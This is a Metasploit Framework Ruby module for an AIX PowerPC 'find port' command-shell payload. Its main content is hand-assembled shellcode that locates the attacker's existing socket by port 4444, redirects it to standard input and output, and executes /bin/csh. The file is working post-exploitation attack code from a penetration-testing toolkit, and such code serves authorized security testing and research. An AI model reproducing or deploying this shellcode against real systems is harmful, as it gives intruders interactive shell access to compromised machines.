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##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
require 'msf/core/handler/find_port'
require 'msf/base/sessions/command_shell'
require 'msf/base/sessions/command_shell_options'
module Metasploit3
include Msf::Payload::Single
include Msf::Payload::Aix
include Msf::Sessions::CommandShellOptions
def initialize(info = {})
super(merge_info(info,
'Name' => 'AIX Command Shell, Find Port Inline',
'Version' => '$Revision$',
'Description' => 'Spawn a shell on an established connection',
'Author' => 'Ramon de C Valle',
'License' => MSF_LICENSE,
'Platform' => 'aix',
'Arch' => ARCH_PPC,
'Handler' => Msf::Handler::FindPort,
'Session' => Msf::Sessions::CommandShellUnix,
'Payload' =>
{
'Offsets' =>
{
'CPORT' => [ 106, 'n' ],
},
}
))
end
def generate(*args)
super(*args)
payload =
"\x7f\xff\xfa\x79" +# xor. r31,r31,r31 #
"\x40\x82\xff\xfd" +# bnel <fndsockcode> #
"\x7f\xc8\x02\xa6" +# mflr r30 #
"\x3b\xde\x01\xff" +# cal r30,511(r30) #
"\x3b\xde\xfe\x1d" +# cal r30,-483(r30) #
"\x7f\xc9\x03\xa6" +# mtctr r30 #
"\x4e\x80\x04\x20" +# bctr #
"\x4c\xc6\x33\x42" +# crorc 6,6,6 #
"\x44\xff\xff\x02" +# svca 0 #
"\x3b\xde\xff\xf8" +# cal r30,-8(r30) #
"\x3b\xa0\x07\xff" +# lil r29,2047 #
"\x97\xe1\xff\xfc" +# stu r31,-4(r1) #
"\x7c\x3c\x0b\x78" +# mr r28,r1 #
"\x3b\x7d\xf8\x2d" +# cal r27,-2003(r29) #
"\x97\x61\xff\xfc" +# stu r27,-4(r1) #
"\x7c\x3b\x0b\x78" +# mr r27,r1 #
"\x3b\xff\x01\xff" +# cal r31,511(r31) #
"\x3b\xff\xfe\x02" +# cal r31,-510(r31) #
"\x7f\x65\xdb\x78" +# mr r5,r27 #
"\x7f\x84\xe3\x78" +# mr r4,r28 #
"\x7f\xe3\xfb\x78" +# mr r3,r31 #
@cal_getpeername +
"\x7f\xc9\x03\xa6" +# mtctr r30 #
"\x4e\x80\x04\x21" +# bctrl #
"\x3b\x5c\x01\xff" +# cal r26,511(r28) #
"\xa3\x5a\xfe\x03" +# lhz r26,-509(r26) #
"\x28\x1a\x11\x5c" +# cmpli 0,r26,4444 #
"\x40\x82\xff\xd4" +# bne <fndsockcode+64> #
"\x3b\x3d\xf8\x03" +# cal r25,-2045(r29) #
"\x7f\x23\xcb\x78" +# mr r3,r25 #
@cal_close +
"\x7f\xc9\x03\xa6" +# mtctr r30 #
"\x4e\x80\x04\x21" +# bctrl #
"\x7f\x25\xcb\x78" +# mr r5,r25 #
"\x7c\x84\x22\x78" +# xor r4,r4,r4 #
"\x7f\xe3\xfb\x78" +# mr r3,r31 #
@cal_kfcntl +
"\x7f\xc9\x03\xa6" +# mtctr r30 #
"\x4e\x80\x04\x21" +# bctrl #
"\x37\x39\xff\xff" +# ai. r25,r25,-1 #
"\x40\x80\xff\xd4" +# bge <fndsockcode+116> #
"\x7c\xa5\x2a\x79" +# xor. r5,r5,r5 #
"\x40\x82\xff\xfd" +# bnel <fndsockcode+164> #
"\x7f\x08\x02\xa6" +# mflr r24 #
"\x3b\x18\x01\xff" +# cal r24,511(r24) #
"\x38\x78\xfe\x29" +# cal r3,-471(r24) #
"\x98\xb8\xfe\x31" +# stb r5,-463(r24) #
"\x94\xa1\xff\xfc" +# stu r5,-4(r1) #
"\x94\x61\xff\xfc" +# stu r3,-4(r1) #
"\x7c\x24\x0b\x78" +# mr r4,r1 #
@cal_execve +
"\x7f\xc9\x03\xa6" +# mtctr r30 #
"\x4e\x80\x04\x21" +# bctrl #
"/bin/csh"
# If the payload is generated and there are offsets to substitute,
# do that now.
if (payload and offsets)
substitute_vars(payload, offsets)
end
payload
end
end
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